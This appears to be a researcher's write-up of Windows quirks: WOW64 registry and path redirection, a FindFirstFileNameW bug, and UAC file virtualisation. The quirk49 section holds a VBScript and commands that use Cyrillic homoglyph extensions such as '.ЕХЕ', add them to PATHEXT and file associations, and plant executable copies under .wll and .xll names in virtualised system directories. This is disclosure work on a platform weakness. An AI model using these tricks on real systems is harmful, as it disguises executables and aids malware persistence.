To help 32-bit applications that write REG_SZ or REG_EXPAND_SZ data containing %ProgramFiles% or %commonprogramfiles% to the registry, WOW64 intercepts these write operations and replaces them with "%ProgramFiles(x86)%" and "%commonprogramfiles(x86)%". For example, if the Program Files directory is on the C drive, then "%ProgramFiles(x86)%" expands to "C:\Program Files (x86)". The replacement occurs only if the following conditions are met:WOW64 Implementation Details File System RedirectorWindows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The KEY_WOW_64_64KEY flag does not affect whether a key is replaced. This flag affects replacement starting with Windows 7 and Windows Server 2008 R2.
- The string must begin with %ProgramFiles% or %commonprogramfiles%. If the string begins with a space or any character other than %, it is not replaced.
- The case of %ProgramFiles% or %commonprogramfiles% must be exactly as shown because the string comparison is case-sensitive. For example, if the string begins with %CommonProgramFiles% instead of %commonprogramfiles%, it is not replaced.
- The string cannot exceed MAX_PATH*2+15 characters. If it exceeds this length, it is not replaced.
- The key cannot be opened with KEY_WOW64_64KEY. This flag specifies that operations on the key should be performed on the 64-bit registry view, so it is not replaced. For more information, see Accessing an Alternate Registry View.
In addition, REG_SZ or REG_EXPAND_SZ keys containing system32 are replaced with syswow64. The string must begin with the path pointing to or under %windir%\system32. The string comparison is not case-sensitive. Environment variables are expanded before matching the path, so all of the following paths are replaced: %windir%\system32, %SystemRoot%\system32, and C:\windows\system32. This patch is applied only to the keys that were reflected prior to Windows 7.
For more information, see the following topics:
Start the 32-bit command processor
%SystemRoot%\SysWoW64\Cmd.exe
and verify the documented behaviour:
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %ProgramFiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /FNote: the command lines can be copied and pasted as block into a Command Processor window.
The operation completed successfully. HKEY_CURRENT_USER (Default) REG_SZ %ProgramFiles(x86)% The operation completed successfully.
Repeat the operations from step 1. with
\Common Files
appended to the unexpanded environment
variable string %ProgramFiles%
:
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %ProgramFiles^%\Common" "Files REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully. HKEY_CURRENT_USER (Default) REG_SZ %ProgramFiles(x86)%\Common Files The operation completed successfully.
Repeat the operations from step 3. using the unexpanded
environment variable string %CommonProgramFiles%
instead of %ProgramFiles%
:
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %CommonProgramFiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully. HKEY_CURRENT_USER (Default) REG_SZ %CommonProgramFiles% The operation completed successfully.OUCH: despite the striking similarity to the %ProgramFiles% and %ProgramFiles(x86)% pair, %CommonProgramFiles% is not translated to %CommonProgramFiles(x86)%, i.e. it is most obviously not
a keyword for translation from a 64-bit operation to a 32-bit operation.–
Honi soit qui mal y pense
!
Repeat the operations from step 1. using the unexpanded
environment variable string %commonprogramfiles%
instead of %ProgramFiles%
:
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %commonprogramfiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully. HKEY_CURRENT_USER (Default) REG_SZ %commonprogramfiles(x86)% The operation completed successfully.
%SystemRoot%\SysWoW64\RegEdit.exe
,
either interactive or with a .reg
script, the
SetupAPI with a
.inf
script via one of the command lines
"%SystemRoot%\SysWoW64\RunDLL32.exe" "%SystemRoot%\SysWoW64\SetupAPI.dll",InstallHinfSection ‹pathname.inf›
or
"%SystemRoot%\SysWoW64\RunDLL32.exe" "%SystemRoot%\SysWoW64\AdvPack.dll",LauchINFSection ‹pathname.inf›
,
as well as the Windows Script Host with a
JScript
or
VBScript
via one of the command lines
"%SystemRoot%\SysWoW64\CScript.exe" ‹pathname.js›
or
"%SystemRoot%\SysWoW64\WScript.exe" ‹pathname.vbs›
,
is left as an exercise to the reader!
REGEDIT4
; Copyleft © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
[HKEY_CURRENT_USER]
"1"="%ProgramFiles%"
"2"="%ProgramFiles%\\Common Files"
"3"="%CommonProgramFiles%"
"4"="%commonprogramfiles%"
; Copyleft © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
[Version]
DriverVer = 04/27/2004, 0.8.1.5
Provider = "Stefan Kanthak"
Signature = "$Windows NT$"
[DefaultInstall.NTx86]
AddReg = AddReg
[AddReg]
HKCU,,"1",0,"%%ProgramFiles%%"
HKCU,,"2",0,"%%ProgramFiles%%\Common Files"
HKCU,,"3",0,"%%CommonProgramFiles%%"
HKCU,,"4",0,"%%commonprogramfiles%%"
Rem Copyleft © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("WScript.Shell")
.RegWrite "HKEY_CURRENT_USER\1", "%ProgramFiles%"
.RegWrite "HKEY_CURRENT_USER\2", "%ProgramFiles%\Common Files"
.RegWrite "HKEY_CURRENT_USER\3", "%CommonProgramFiles%"
.RegWrite "HKEY_CURRENT_USER\4", "%commonprogramfiles%"
WScript.Echo .RegRead("HKEY_CURRENT_USER\1")
WScript.Echo .RegRead("HKEY_CURRENT_USER\2")
WScript.Echo .RegRead("HKEY_CURRENT_USER\3")
WScript.Echo .RegRead("HKEY_CURRENT_USER\4")
.RegDelete "HKEY_CURRENT_USER\1"
.RegDelete "HKEY_CURRENT_USER\2"
.RegDelete "HKEY_CURRENT_USER\3"
.RegDelete "HKEY_CURRENT_USER\4"
End With
WshShell Object
RegDelete Method
RegRead Method
RegWrite Method
32-bit applications can access the native system directory by substituting %windir%\Sysnative for %windir%\System32. WOW64 recognizes Sysnative as a special alias used to indicate that the file system should not redirect the access. This mechanism is flexible and easy to use, therefore, it is the recommended mechanism to bypass file system redirection. Note that 64-bit applications cannot use the Sysnative alias as it is a virtual directory not a real one.The documentation for the Win32 function
FindFirstFileNameW()
specifies:
Creates an enumeration of all the hard links to the specified file. The FindFirstFileNameW function returns a handle to the enumeration that can be used on subsequent calls to the FindNextFileNameW function.Note: both documentations name no restrictions![…]
If the function succeeds, the return value is a search handle that can be used with the FindNextFileNameW function or closed with the FindClose function.
If the function fails, the return value is INVALID_HANDLE_VALUE (0xffffffff). To get extended error information, call the GetLastError function.
Create the text file quirk48.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _WIN64
#error Must be built as 32-bit console application!
#endif
#define QUIRK48 L"\\Sysnative\\NTDLL.dll"
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_NOT_SUPPORTED;
DWORD dwQuirk;
WCHAR szQuirk[MAX_PATH];
BOOL bQuirk;
HANDLE hQuirk = GetCurrentProcess();
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!IsWow64Process(hQuirk, &bQuirk))
PrintConsole(hConsole,
L"IsWow64Process() returned error %lu\n",
dwError = GetLastError());
else if (bQuirk)
{
dwQuirk = GetWindowsDirectory(szQuirk,
sizeof(szQuirk) / sizeof(*szQuirk));
if (dwQuirk == 0)
PrintConsole(hConsole,
L"GetWindowsDirectory() returned error %lu\n",
dwError = GetLastError());
else
{
memcpy(szQuirk + dwQuirk, QUIRK48, sizeof(QUIRK48));
dwQuirk = sizeof(szQuirk) / sizeof(*szQuirk);
hQuirk = FindFirstFileNameW(szQuirk, 0, &dwQuirk, szQuirk);
if (hQuirk == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFileName() returned error %lu for \'%ls\'\n",
dwError = GetLastError(), szQuirk);
else
{
do
dwQuirk = sizeof(szQuirk) / sizeof(*szQuirk);
while (FindNextFileNameW(hQuirk, &dwQuirk, szQuirk));
dwError = GetLastError();
if (dwError == ERROR_HANDLE_EOF)
dwError = ERROR_SUCCESS;
else
PrintConsole(hConsole,
L"FindNextFileName() returned error %lu\n",
dwError = GetLastError());
if (!FindClose(hQuirk))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
GetLastError());
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Compile and link the source file quirk48.c
created in
step 1.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk48.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk48.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk48.exe quirk48.obj kernel32.lib
Execute the console application quirk48.exe
built in
step 2. and evaluate its exit code:
.\quirk48.exe FindFirstFileName() returned error 87 for 'C:\Windows\Sysnative\NTDLL.dll' CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH: the Win32 function
FindFirstFileNameW()
fails to support the virtual directory name SysNative
required on 64-bit systems to access the system directoryfrom 32-bit applications!
Virtualization is only enabled for:Windows Vista Application Development Requirements for User Account Control Compatibility How User Account Control (UAC) Affects Your Application In part 1 of their book Windows Internals, Mark Russinovich, David Solomon and Alex Ionescu state:[…]
32 bit interactive processes
Administrator writeable file/folder and registry keys
File virtualization addresses the situation where an application relies on the ability to store a file, such as a configuration file, in a system location typically writeable only by administrators. Running programs as a standard user in this situation might result in program failures due to insufficient levels of access.
When an application writes to a system location only writeable by administrators, Windows then writes all subsequent file operations to a user-specific path under the Virtual Store directory, which is located at %LOCALAPPDATA%\VirtualStore. Later, when the application reads back this file, the computer will provide the one in the Virtual Store. Because the Windows security infrastructure processes the virtualization without the application’s assistance, the application believes it was able to successfully read and write directly to Program Files. The transparency of file virtualization enables applications to perceive that they are writing and reading from the protected resource, when in fact they are accessing the virtualized version.
The file system locations that are virtualized for legacy processes are %ProgramFiles%, %ProgramData%, and %SystemRoot%, excluding some specific subdirectories. However, any file with an executable extension – including .exe, .bat, .scr, .vbs, and others – is excluded from virtualization. This means that programs that update themselves from a standard user account fail instead of creating private versions of their executables that aren’t visible to an administrator running a global updater.In his TechNet article Inside Windows Vista User Account Control, Mark Russinovich repeats these wrong statements!
Note: CreateProcess*()
and
LoadLibrary*()
, the Win32 functions which
load executables, don’t care for extensions;
it’s only the content of the file (really: the
NTFS
File Stream)
that matters to them!
CScript.exe
and the
Microsoft ® Windows Based Script Host
WScript.exe
are shipped without (embedded)
Application Manifest,
their 32-bit executables are therefore subject to file and registry
virtualisation.
Perform the following 4 (plus 3) simple steps to show that virtual
files with extensions (not just) visually equal to dangerous
ones can be created and executed.
Create the text file quirk49.vbs
with the following
content in an arbitrary, preferable empty directory:
Rem Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("Scripting.FileSystemObject")
Const fsoWindowsFolder = 0
Const fsoSystemFolder = 1
Const fsoTemporaryFolder = 2
Const fsoRead = 1
Const fsoWrite = 2
Const fsoAppend = 8
Const fsoASCII = 0
Const fsoUnicode = -1
Const fsoDefault = -2
' Greek homoglyphs
' Const A = &h391
' Const B = &h392
' Const E = &h395
' Const H = &h397
' Const I = &h399
' ' j = &h3F3
' Const K = &h39A
' Const M = &h39C
' Const N = &h39D
' Const O = &h39F ' o = &h3BF
' Const P = &h3A1
' Const T = &h3A4
' ' v = &h3BD
' Const X = &h3A7
' Const Y = &h3A5
' Const Z = &h396
' Cyrillic homoglyphs
Const A = &h410 ' a = &h430
Const B = &h412
Const C = &h421 ' c = &h441
Const E = &h415 ' e = &h435
Const H = &h41D
Const I = &h406 ' i = &h456
Const J = &h408 ' j = &h458
Const M = &h41C
Const O = &h41E ' o = &h43E
Const P = &h420 ' p = &h440
Const S = &h405 ' s = &h455
Const T = &h422
' y = &h443
Const X = &h425 ' x = &h445
strFolder = .GetSpecialFolder(fsoWindowsFolder).Path
WScript.CreateObject("Shell.Application").Explore strFolder
For Each strExtension In Array("EFI", "EML", "HTM", "ISO", "TTF", "WLL", "XLL", "XML")
.CopyFile WScript.ScriptFullName, .BuildPath(strFolder, "QUIRK49." & strExtension), vbTrue
Next
strUnicode = .BuildPath(strFolder, "QUIRK49.TXT")
.OpenTextFile(strUnicode, fsoWrite, vbTrue, fsoUnicode).WriteLine "Windows Registry Editor Version 5.00"
strPathExt = WScript.CreateObject("WScript.Shell").Environment("PROCESS").Item("PATHEXT")
' strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\PATHEXT")
' strPathExt = WScript.CreateObject("WScript.Shell").Environment("SYSTEM").Item("PATHEXT")
' strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Environment\PATHEXT")
' strPathExt = WScript.CreateObject("WScript.Shell").Environment("USER").Item("PATHEXT")
' strPathExt = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CURRENT_USER\Volatile Environment\PATHEXT")
' strPathExt = WScript.CreateObject("WScript.Shell").Environment("VOLATILE").Item("PATHEXT")
blnFlag = vbFalse
For Each strExtension In Array("ACM", ChrW(A) & ChrW(C) & ChrW(M), _
"ASA", ChrW(A) & ChrW(S) & ChrW(A), _
"ASP", ChrW(A) & ChrW(S) & ChrW(P), _
"AX", ChrW(A) & ChrW(X), _
"BAT", ChrW(B) & ChrW(A) & ChrW(T), _
"CHM", ChrW(C) & ChrW(H) & ChrW(M), _
"COM", ChrW(C) & ChrW(O) & ChrW(M), _
"EXE", ChrW(E) & ChrW(X) & ChrW(E), _
"HTA", ChrW(H) & ChrW(T) & ChrW(A), _
"IME", ChrW(I) & ChrW(M) & ChrW(E), _
"ISP", ChrW(I) & ChrW(S) & ChrW(P), _
"ITS", ChrW(I) & ChrW(T) & ChrW(S), _
"JS", ChrW(J) & ChrW(S), _
"JSE", ChrW(J) & ChrW(S) & ChrW(E), _
"MSC", ChrW(M) & ChrW(S) & ChrW(C), _
"MSI", ChrW(M) & ChrW(S) & ChrW(I), _
"MSP", ChrW(M) & ChrW(S) & ChrW(P), _
"MST", ChrW(M) & ChrW(S) & ChrW(T), _
"OCX", ChrW(O) & ChrW(C) & ChrW(X), _
"SCT", ChrW(S) & ChrW(C) & ChrW(T), _
"SHB", ChrW(S) & ChrW(H) & ChrW(B), _
"SHS", ChrW(S) & ChrW(H) & ChrW(S), _
"TSP", ChrW(T) & ChrW(S) & ChrW(P))
blnFlag = Not blnFlag
If blnFlag Then
On Error Resume Next
strAssoc = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CLASSES_ROOT\." & strExtension & "\")
If Err.Number <> 0 Then strAssoc = vbNullString
strMIME = WScript.CreateObject("WScript.Shell").RegRead("HKEY_CLASSES_ROOT\." & strExtension & "\Content Type")
If Err.Number <> 0 Then strMIME = vbNullString
On Error Goto 0
Else
.CopyFile WScript.FullName, .BuildPath(strFolder, "QUIRK49." & strExtension), vbTrue
' BUG: .RegWrite converts UTF-16LE to ANSI and creates the subkeys ".??" and ".???"!
' WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CURRENT_USER\Software\Classes\." & strExtension & "\", strAssoc, "REG_SZ"
' WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CURRENT_USER\Software\Classes\." & strExtension & "\Content Type", strMIME, "REG_SZ"
With .OpenTextFile(strUnicode, fsoAppend, vbFalse, fsoUnicode)
.WriteLine
.WriteLine "[HKEY_CURRENT_USER\Software\Classes\." & strExtension & "]"
.WriteLine "@=""" & strAssoc & """"
.WriteLine """Content Type""=""" & strMIME & """"
End With
strPathExt = "." & strExtension & ";" & strPathExt
End If
Next
With .OpenTextFile(strUnicode, fsoAppend, vbFalse, fsoUnicode)
.WriteLine
.WriteLine "[HKEY_CURRENT_USER\Volatile Environment]"
.WriteLine """PATHEXT""=""" & strPathExt & """"
End With
With WScript.CreateObject("WScript.Shell")
.Environment("PROCESS").Item("__COMPAT_LAYER") = "RunAsInvoker"
.Run """%SystemRoot%\RegEdit.exe"" /S """ & strUnicode & """", 10, vbTrue
.Environment("VOLATILE").Item("PATHEXT") = strPathExt
End With
End With
Execute the
VBScript
quirk49.vbs
created in step 1. with the 32-bit
CScript.exe
or the 32-bit
WScript.exe
:
"%SystemRoot%\SysWoW64\CScript.exe" quirk49.vbsNote: on 32-bit editions of Windows Vista and Windows 7, the VBScript
quirk49.vbs
can be executed per
double-click.
OUCH: contrary to the statements cited above,
executable files with the extensions .WLL
, used by
Microsoft Word for executable
add-ins, and .XLL
, used by
Microsoft Excel for executable
add-ins, can be created!
The VBScript quirk49.vbs
launches the
Windows Explorer to open the
Windows directory %SystemRoot%\
.
Click the button Compatibility Files
shown on the
Explorer Toolbar
to view the virtualised files
QUIRK49.*
created in the Windows
directory %SystemRoot%\
.
Start (one of) the dangerous
virtualised executables
QUIRK49.ВАТ
,
QUIRK49.СОМ
and
QUIRK49.ЕХЕ
, which are copies of the
script host executable used to run the VBScript
QUIRK49.VBS
, per double-click to verify their proper
function.
Open the
UTF-16LE
encoded text file QUIRK49.TXT
, created in step 2.
by the VBScript quirk49.vbs
, per
double-click with NotePad.exe
, delete
all lines starting with @=
, replace in the last line
the string
".АСМ;.АЅА;.АЅР;.АХ;.ВАТ;.СНМ;.СОМ;.ЕХЕ;.НТА;.ІМЕ;.ІЅР;.ІТЅ;.ЈЅ;.ЈЅЕ;.МЅС;.МЅІ;.МЅР;.МЅТ;.ОСХ;.ЅСТ;.ЅНВ;.ЅНЅ;.ТЅР";.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
".АСМ;…;.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"
containing the dangerous
extensions (including the enclosing
double quotes "
) after the
equal sign =
by a minus sign
-
and insert a minus sign
-
before all strings
HKEY_CURRENT_USER\Software\Classes\.
, then save the
modified
Registry Editor Script
and exit the text editor.
Apply the file QUIRK49.TXT
modified in step 5. to
the
Registry:
REG.EXE IMPORT "%LOCALAPPDATA%\VirtualStore\Windows\QUIRK49.TXT"
The operation completed successfully.
Finally delete the virtualised files QUIRK49.*
and,
if empty, the virtualised Windows
directory
%LOCALAPPDATA%\VirtualStore\Windows\
too, using either
Windows Explorer or the Command Processor:
ERASE "%LOCALAPPDATA%\VirtualStore\Windows\QUIRK49.*" RMDIR "%LOCALAPPDATA%\VirtualStore\Windows"
Copy the 32-bit executable
Cmd.exe
of the
Command Processor as
quirk49.com
into an arbitrary, preferable empty
directory:
COPY "%SystemRoot%\System32\Cmd.exe" quirk49.com COPY /Y "%SystemRoot%\SysWoW64\Cmd.exe" quirk49.comNote: the command lines can be copied and pasted as block into a Command Processor window.
1 file(s) copied. 1 file(s) copied.
On Windows 10 and Windows 11, copy the
language-specific resource files Cmd.exe.mui
too:
FOR /D %? IN ("%SystemRoot%\System32\??-??" "%SystemRoot%\SysWoW64\??-??") DO @( IF EXIST "%?\Cmd.exe.mui" IF NOT EXIST "%~n?" ( MKDIR "%~n?" && COPY "%?\Cmd.exe.mui" "%~n?\quirk49.com.mui") ELSE ( COPY /Y "%?\Cmd.exe.mui" "%~n?\quirk49.com.mui"))
1 file(s) copied. 1 file(s) copied.
Extract the embedded application manifest
from the executable
quirk49.com
copied in step 1. to the file
quirk49.xml
:
MT.EXE /CANONICALIZE /INPUTRESOURCE:quirk49.com /OUT:quirk49.xmlNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Open the file quirk49.xml
extracted in step 2.
with a text editor, remove the whole trustInfo
XML element,
then save the modified file and exit the text editor:
NOTEPAD.EXE quirk49.xml
Replace the application manifest
embedded in the executable
quirk49.com
copied in step 1. with the one
modified in step 3.:
MT.EXE /CANONICALIZE /MANIFEST quirk49.xml /OUTPUTRESOURCE:quirk49.com
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Create the text file quirk49.xml
with the following
content next to the executable quirk49.com
copied in
step 1.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2009-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
Replace the application manifest
embedded in the executable
quirk49.com
copied in step 1. with the one created
in step 3.:
MT.EXE /CANONICALIZE /MANIFEST quirk49.xml /OUTPUTRESOURCE:quirk49.comNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Start the executable quirk49.com
, modified in
step 4. to be subject to File Virtualisation, and
verify that the virtual store
is (initially) empty:
.\quirk49.com DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\AppData\Local\VirtualStore 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 0 File(s) 0 bytes
Create the subdirectory Quirk49
in
Windows’ system directory
%SystemRoot%\System32\
, then list the resulting
contents of the system directory
and the
virtual store
:
MKDIR "%SystemRoot%\System32\Quirk49" DIR /A /R /S "%SystemRoot%\Quirk49.*" DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\System32 04/27/2020 08:15 PM <DIR> Quirk49 0 File(s) 0 bytes Directory of C:\Windows\SysWOW64 04/27/2020 08:15 PM <DIR> Quirk49 0 File(s) 0 bytes Total Files Listed: 0 File(s) 0 bytes 2 Dir(s) 9,876,543,210 bytes free Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\AppData\Local\VirtualStore 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Windows 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Syswow64 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Quirk49 0 File(s) 0 bytes Total Files Listed: 0 File(s) 0 bytes 9 Dir(s) 9,876,543,210 bytes freeOops: the subdirectory
Quirk49
appears
in %SystemRoot%\SysWoW64\
too!
Create some (empty) files with the dangerous
extensions
from the environment variable PATHEXT
in
Windows’ system directory
%SystemRoot%\System32\
:
SET PATHEXT FOR %? IN (%PATHEXT%) DO @COPY NUL: "%SystemRoot%\System32\Quirk49%?"
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied.Note: as documented and expected, creation of files with
dangerousextensions fails with the appropriate error message
Access denied.
Copy the executable quirk49.com
with other, harmless as
well as dangerous
extensions into Windows’
system directory
%SystemRoot%\System32\
, then
list the resulting contents of the system directory
and the
virtual store
:
SET QUIRK49=.dll .efi .htm .iso .jse .lnk .pif .scr .sys .ttf .vbe .url .wll .wsf .wsh .xll FOR %? IN (%QUIRK49%) DO @COPY Quirk49.com "%SystemRoot%\System32\Quirk49%?" DIR /A /R /S "%SystemRoot%\Quirk49.*" DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
Access denied 0 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. 1 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. 1 file(s) copied. Access denied 0 file(s) copied. Access denied 0 file(s) copied. 1 file(s) copied. Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\System32 04/27/2020 08:15 PM <DIR> Quirk49 04/27/2020 08:15 PM 302,080 Quirk49.efi 04/27/2020 08:15 PM 302,080 Quirk49.htm 04/27/2020 08:15 PM 302,080 Quirk49.iso 04/27/2020 08:15 PM 302,080 Quirk49.ttf 04/27/2020 08:15 PM 302,080 Quirk49.wll 04/27/2020 08:15 PM 302,080 Quirk49.xll 6 File(s) 1,812,480 bytes Directory of C:\Windows\SysWOW64 04/27/2020 08:15 PM <DIR> Quirk49 04/27/2020 08:15 PM 302,080 Quirk49.efi 04/27/2020 08:15 PM 302,080 Quirk49.htm 04/27/2020 08:15 PM 302,080 Quirk49.iso 04/27/2020 08:15 PM 302,080 Quirk49.ttf 04/27/2020 08:15 PM 302,080 Quirk49.wll 04/27/2020 08:15 PM 302,080 Quirk49.xll 6 File(s) 1,812,480 bytes Total Files Listed: 12 File(s) 3,624,960 bytes 2 Dir(s) 9,876,543,210 bytes freeOUCH: contrary to the statements cited above, executable files with the extensions
.wll
, used by
Microsoft Word for executable
add-ins, and .xll
, used by
Microsoft Excel for executable
add-ins, can be created!
Oops: all files created in the
system directory
%SystemRoot%\System32\
appear
in %SystemRoot%\SysWoW64\
too!
Move the files created in step 8. from the
system directory
%SystemRoot%\System32\
into the
current (working) directory
, then list the
resulting contents of the system directory
and the
virtual store
:
MOVE "%SystemRoot%\System32\Quirk49.*" . DIR /A /R /S "%SystemRoot%\Quirk49.*" DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
C:\Windows\system32\Quirk49.efi C:\Windows\system32\Quirk49.htm C:\Windows\system32\Quirk49.iso C:\Windows\system32\Quirk49.ttf C:\Windows\system32\Quirk49.wll C:\Windows\system32\Quirk49.xll 6 File(s) moved. Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\System32 04/27/2020 08:15 PM <DIR> Quirk49 0 File(s) 0 bytes Directory of C:\Windows\SysWOW64 04/27/2020 08:15 PM <DIR> Quirk49 0 File(s) 0 bytes Total Files Listed: 0 File(s) 0 bytes 2 Dir(s) 9,876,543,210 bytes free Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\AppData\Local\VirtualStore 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Windows 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Syswow64 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Quirk49 0 File(s) 0 bytes Total Files Listed: 0 File(s) 0 bytes 9 Dir(s) 9,876,543,210 bytes free
Create hardlinks of the executable quirk49.com
with all
dangerous
and harmless extensions used in the steps 7.
and 8. in Windows’ system directory
%SystemRoot%\System32\
, then list the resulting
contents of the system directory
and the
virtual store
:
COPY Quirk49.com "%LOCALAPPDATA%\Temp" FOR %? IN (%PATHEXT% %QUIRK49%) DO @MKLINK /H "%SystemRoot%\System32\Quirk49%?" "%LOCALAPPDATA%\Temp\Quirk49.com" ERASE "%LOCALAPPDATA%\Temp\Quirk49.com" DIR /A /R /S "%SystemRoot%\Quirk49.*" DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
